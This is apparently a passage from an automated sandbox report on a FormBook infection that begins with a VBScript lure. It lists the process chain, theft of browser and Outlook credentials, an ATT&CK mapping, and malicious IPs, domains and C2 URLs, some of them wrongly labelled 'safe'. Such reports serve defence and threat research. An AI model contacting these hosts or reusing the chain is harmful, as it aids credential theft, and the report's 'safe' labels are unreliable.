            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeQueries volume information: C:\Users\user\AppData\Roaming\ServiceHub.exe VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifQueries volume information: C:\Users\user\Documents\ServiceHub.pif VolumeInformationJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifQueries volume information: C:\Users\user\Documents\ServiceHub.pif VolumeInformationJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Documents\ServiceHub.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
            Source: C:\Users\user\Documents\ServiceHub.pifWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct
            Source: C:\Users\user\Documents\ServiceHub.pifWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntiVirusProduct

            Stealing of Sensitive Information

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 17.2.ServiceHub.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 17.2.ServiceHub.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000011.00000002.570692390.0000000001140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.906049322.0000000004A60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.904340271.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.905735197.0000000003040000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Tries to steal Mail credentials (via file / registry access)
            Source: C:\Windows\SysWOW64\msiexec.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Windows\SysWOW64\msiexec.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\msiexec.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior

            Remote Access Functionality

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 17.2.ServiceHub.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 17.2.ServiceHub.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000011.00000002.570692390.0000000001140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.906049322.0000000004A60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.904340271.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.905735197.0000000003040000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

            Mitre Att&ck Matrix

            Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
            Valid Accounts1
            Windows Management Instrumentation            		1
            DLL Side-Loading            		1
            DLL Side-Loading            		1
            Disable or Modify Tools            		1
            OS Credential Dumping            		1
            File and Directory Discovery            		Remote Services1
            Archive Collected Data            		Exfiltration Over Other Network Medium3
            Ingress Tool Transfer            		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
            Default Accounts221
            Scripting            		1
            Registry Run Keys / Startup Folder            		611
            Process Injection            		1
            Deobfuscate/Decode Files or Information            		LSASS Memory13
            System Information Discovery            		Remote Desktop Protocol1
            Data from Local System            		Exfiltration Over Bluetooth1
            Encrypted Channel            		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
            Domain Accounts1
            Shared Modules            		Logon Script (Windows)1
            Registry Run Keys / Startup Folder            		221
            Scripting            		Security Account Manager31
            Security Software Discovery            		SMB/Windows Admin Shares1
            Email Collection            		Automated Exfiltration4
            Non-Application Layer Protocol            		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
            Local Accounts1
            Command and Scripting Interpreter            		Logon Script (Mac)Logon Script (Mac)4
            Obfuscated Files or Information            		NTDS1
            Process Discovery            		Distributed Component Object ModelInput CaptureScheduled Transfer14
            Application Layer Protocol            		SIM Card SwapCarrier Billing Fraud
            Cloud Accounts31
            PowerShell            		Network Logon ScriptNetwork Logon Script12
            Software Packing            		LSA Secrets31
            Virtualization/Sandbox Evasion            		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
            Replication Through Removable MediaLaunchdRc.commonRc.common1
            Timestomp            		Cached Domain Credentials1
            Application Window Discovery            		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
            External Remote ServicesScheduled TaskStartup ItemsStartup Items1
            DLL Side-Loading            		DCSync1
            Remote System Discovery            		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
            Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job11
            Masquerading            		Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
            Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)1
            Modify Registry            		/etc/passwd and /etc/shadowSystem Network Connections DiscoverySoftware Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
            Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)31
            Virtualization/Sandbox Evasion            		Network SniffingProcess DiscoveryTaint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact
            Compromise Software Dependencies and Development ToolsWindows Command ShellCronCron611
            Process Injection            		Input CapturePermission Groups DiscoveryReplication Through Removable MediaRemote Data StagingExfiltration Over Physical MediumMail ProtocolsService Stop

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1278132 Sample: PROJECT-_SAUDI_ARAMCO_DRAWI... Startdate: 24/07/2023 Architecture: WINDOWS Score: 100 65 www.914762.com 2->65 67 d007koo.yb550.com 2->67 93 Malicious sample detected (through community Yara rule) 2->93 95 Antivirus detection for URL or domain 2->95 97 Yara detected FormBook 2->97 99 Yara detected Powershell download and execute 2->99 15 wscript.exe 1 2->15         started        signatures3 process4 signatures5 119 VBScript performs obfuscated calls to suspicious functions 15->119 121 Wscript starts Powershell (via cmd or directly) 15->121 18 cmd.exe 1 15->18         started        process6 signatures7 89 Suspicious powershell command line found 18->89 91 Wscript starts Powershell (via cmd or directly) 18->91 21 powershell.exe 12 18->21         started        24 conhost.exe 18->24         started        process8 signatures9 107 Found suspicious powershell code related to unpacking or dynamic code loading 21->107 109 Powershell drops PE file 21->109 26 powershell.exe 14 24 21->26         started        process10 dnsIp11 79 212.192.219.52, 49717, 80 KUBANNETRU Russian Federation 26->79 61 C:\Users\user\AppData\...\ServiceHub.exe, PE32 26->61 dropped 30 ServiceHub.exe 5 26->30         started        34 conhost.exe 26->34         started        file12 process13 file14 63 C:\Users\user\Documents\ServiceHub.pif, PE32 30->63 dropped 123 Antivirus detection for dropped file 30->123 125 Drops PE files to the document folder of the user 30->125 127 Machine Learning detection for dropped file 30->127 129 Drops PE files with a suspicious file extension 30->129 36 ServiceHub.exe 30->36         started        39 cmd.exe 1 30->39         started        signatures15 process16 signatures17 101 Maps a DLL or memory area into another process 36->101 103 Sample uses process hollowing technique 36->103 105 Queues an APC in another process (thread injection) 36->105 41 ServiceHub.pif 3 36->41         started        44 conhost.exe 39->44         started        46 reg.exe 1 1 39->46         started        process18 signatures19 115 Antivirus detection for dropped file 41->115 117 Machine Learning detection for dropped file 41->117 48 msiexec.exe 13 41->48         started        51 ServiceHub.pif 41->51         started        process20 signatures21 81 Tries to steal Mail credentials (via file / registry access) 48->81 83 Tries to harvest and steal browser information (history, passwords, etc) 48->83 85 Modifies the context of a thread in another process (thread injection) 48->85 87 Maps a DLL or memory area into another process 48->87 53 ServiceHub.pif 2 48->53         started        57 explorer.exe 48->57 injected process22 dnsIp23 69 www.blackhawkstickets.com 91.195.240.68, 49719, 49725, 49726 SEDO-ASDE Germany 53->69 71 www.moqainc.com 156.237.252.50, 49720, 49721, 49722 DXTL-HKDXTLTseungKwanOServiceHK Seychelles 53->71 73 www.u1uc86.shop 8.217.57.91, 49723, 49724, 49731 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC Singapore 53->73 111 Injects a PE file into a foreign processes 53->111 59 ServiceHub.pif 53->59         started        75 www.jshjyz.com 45.221.114.42, 49737, 49738, 49739 sun-asnSC South Africa 57->75 77 www.eunicebarber.com 134.73.114.39, 49734, 49735, 49736 LAYER-HOSTUS United States 57->77 113 System process connects to network (likely due to code injection or exploit) 57->113 signatures24 process25

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            PROJECT-_SAUDI_ARAMCO_DRAWING_AND_SPECS.vbs0%ReversingLabs

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\Users\user\AppData\Roaming\ServiceHub.exe100%AviraTR/Dropper.Gen7
            C:\Users\user\Documents\ServiceHub.pif100%AviraTR/Dropper.Gen7
            C:\Users\user\AppData\Roaming\ServiceHub.exe100%Joe Sandbox ML
            C:\Users\user\Documents\ServiceHub.pif100%Joe Sandbox ML

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            SourceDetectionScannerLabelLink
            www.blackhawkstickets.com1%VirustotalBrowse

            URLs

            SourceDetectionScannerLabelLink
            https://contoso.com/License0%URL Reputationsafe
            https://contoso.com/0%URL Reputationsafe
            http://212.192.219.52/Untitled2.0%Avira URL Cloudsafe
            http://212.192.219.52/Untit0%Avira URL Cloudsafe
            http://212.192.219.52/Untitled2.bml0%Avira URL Cloudsafe
            http://www.jshjyz.com/m8a3/?wllV=ZE0BJ&yy9Uwvr=HdAArDrpc0/lWistcv7U8os5S8lq1/Pmn5Nebv2sEOwmLRgBysRR2ORy9UpLQlQ68z6oajIjCi8xrT5GQWSFhprfwO2VyQxjGA==0%Avira URL Cloudsafe
            http://212.192.219.52n0%Avira URL Cloudsafe
            http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
            http://212.192.219.52/Untitled2.bmpD0%Avira URL Cloudsafe
            https://contoso.com/Icon0%URL Reputationsafe
            http://212.192.219.520%Avira URL Cloudsafe
            http://212.192.219.52/Untitled2.bmp0%Avira URL Cloudsafe
            http://212.190%Avira URL Cloudsafe
            http://www.moqainc.com/m8a3/?Ur=2PXzv/KUOl1j1NuZtHuegUOjtHgT7zpI1k9NLrqIqxTSD5EEUqAnCL5FTmT193UJ4vU1Eo4nrGN2pIlcQ7jSI/XdQia5ZrF41g==&HlMd=4b_DnLvPevaPpfd0%Avira URL Cloudsafe
            http://212.192.219.52/Un0%Avira URL Cloudsafe
            http://212.192.219.52/Untitl0%Avira URL Cloudsafe
            http://212.192.21t0%Avira URL Cloudsafe
            http://www.jshjyz.com/m8a3/0%Avira URL Cloudsafe
            http://crl.microsof0%URL Reputationsafe
            http://212.192.219.52/Untitled0%Avira URL Cloudsafe
            http://www.moqainc.com/m8a3/0%Avira URL Cloudsafe
            http://script.dopus.net/s0%Avira URL Cloudsafe
            http://212.192.T0%Avira URL Cloudsafe
            http://212.192.210%Avira URL Cloudsafe
            http://212.192.219.0%Avira URL Cloudsafe
            http://www.eunicebarber.com/m8a3/0%Avira URL Cloudsafe
            http://212.192.219.52/G0%Avira URL Cloudsafe
            http://www.blackhawkstickets.com/m8a3/0%Avira URL Cloudsafe
            http://212.192.219.52/Untitle40%Avira URL Cloudsafe
            http://www.blackhawkstickets.com/m8a3/?Ur=wELRwQq9Ik4akR1AOxjjTZuNaDONjs8a2YaLQcHnUlU7Bv3tKYzAHvXnkO/QKC4W0Zoe4oBdA0RLZC4HllwlUjUeZBoK18Latg==&HlMd=4b_DnLvPevaPpfd0%Avira URL Cloudsafe
            http://212.10%Avira URL Cloudsafe
            http://www.moqainc.com/m8a3/?yy9Uwvr=2PXzv/KUOl1j1NuZtHuegUOjtHgT7zpI1k9NLrqIqxTSD5EEUqAnCL5FTmT193UJ4vU1Eo4nrGN2pIlcQ7jSI/XdQia5ZrF41g==&wllV=ZE0BJ0%Avira URL Cloudsafe
            http://212.192z0%Avira URL Cloudsafe
            http://212.192.219.52/Unt0%Avira URL Cloudsafe
            http://www.blackhawkstickets.com/m8a3/?wllV=ZE0BJ&yy9Uwvr=wELRwQq9Ik4akR1AOxjjTZuNaDONjs8a2YaLQcHnUlU7Bv3tKYzAHvXnkO/QKC4W0Zoe4oBdA0RLZC4HllwlUjUeZBoK18Latg==0%Avira URL Cloudsafe
            http://212.192.219.52/Untitled20%Avira URL Cloudsafe
            http://212.192.219.52/Unti0%Avira URL Cloudsafe
            http://script.dopus.net/0%Avira URL Cloudsafe
            http://www.eunicebarber.com/m8a3/?yy9Uwvr=KfxyrYt0+dAkLzUy5gsnp3p0oX3LOs89DNVvjaW49ahTyKh9A9lK4bm4YgfqVz2zqy/14k6j7o+Vy48O68UKvRL9g4d35+1BPg==&wllV=ZE0BJ0%Avira URL Cloudsafe
            http://212.192.219.52/U0%Avira URL Cloudsafe
            http://212.192.219.50%Avira URL Cloudsafe
            http://www.u1uc86.shop/m8a3/100%Avira URL Cloudphishing
            http://212.192.2190%Avira URL Cloudsafe
            http://212.192.20%Avira URL Cloudsafe
            http://212.192.219.52/Untitled2.b0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            d007koo.yb550.com
            		46.149.197.98
            		truefalse
              		unknown
              www.eunicebarber.com
              		134.73.114.39
              		truetrue
                		unknown
                www.blackhawkstickets.com
                		91.195.240.68
                		truetrueunknown
                www.jshjyz.com
                		45.221.114.42
                		truetrue
                  		unknown
                  www.moqainc.com
                  		156.237.252.50
                  		truetrue
                    		unknown
                    www.u1uc86.shop
                    		8.217.57.91
                    		truetrue
                      		unknown
                      www.914762.com
                      		unknown
                      		unknowntrue
                        		unknown

                        Contacted URLs

                        NameMaliciousAntivirus DetectionReputation
                        http://212.192.219.52/Untitled2.bmptrue
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.moqainc.com/m8a3/?Ur=2PXzv/KUOl1j1NuZtHuegUOjtHgT7zpI1k9NLrqIqxTSD5EEUqAnCL5FTmT193UJ4vU1Eo4nrGN2pIlcQ7jSI/XdQia5ZrF41g==&HlMd=4b_DnLvPevaPpfdtrue
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.jshjyz.com/m8a3/?wllV=ZE0BJ&yy9Uwvr=HdAArDrpc0/lWistcv7U8os5S8lq1/Pmn5Nebv2sEOwmLRgBysRR2ORy9UpLQlQ68z6oajIjCi8xrT5GQWSFhprfwO2VyQxjGA==true
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.moqainc.com/m8a3/true
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.jshjyz.com/m8a3/true
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.blackhawkstickets.com/m8a3/true
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.eunicebarber.com/m8a3/true
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.moqainc.com/m8a3/?yy9Uwvr=2PXzv/KUOl1j1NuZtHuegUOjtHgT7zpI1k9NLrqIqxTSD5EEUqAnCL5FTmT193UJ4vU1Eo4nrGN2pIlcQ7jSI/XdQia5ZrF41g==&wllV=ZE0BJtrue
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.blackhawkstickets.com/m8a3/?Ur=wELRwQq9Ik4akR1AOxjjTZuNaDONjs8a2YaLQcHnUlU7Bv3tKYzAHvXnkO/QKC4W0Zoe4oBdA0RLZC4HllwlUjUeZBoK18Latg==&HlMd=4b_DnLvPevaPpfdtrue
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.blackhawkstickets.com/m8a3/?wllV=ZE0BJ&yy9Uwvr=wELRwQq9Ik4akR1AOxjjTZuNaDONjs8a2YaLQcHnUlU7Bv3tKYzAHvXnkO/QKC4W0Zoe4oBdA0RLZC4HllwlUjUeZBoK18Latg==true
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.eunicebarber.com/m8a3/?yy9Uwvr=KfxyrYt0+dAkLzUy5gsnp3p0oX3LOs89DNVvjaW49ahTyKh9A9lK4bm4YgfqVz2zqy/14k6j7o+Vy48O68UKvRL9g4d35+1BPg==&wllV=ZE0BJtrue
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.u1uc86.shop/m8a3/true
                        • Avira URL Cloud: phishing
                        		unknown

                        URLs from Memory and Binaries

                        NameSourceMaliciousAntivirus DetectionReputation
                        http://212.19wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: safe
                        		low
                        http://212.192.219.52/Untitled2.bmlwscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        https://contoso.com/Licensepowershell.exe, 00000008.00000002.564127070.000001FFD148C000.00000004.00000800.00020000.00000000.sdmpfalse
                        • URL Reputation: safe
                        		unknown
                        http://212.192.219.52/Untitled2.bmpDwscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
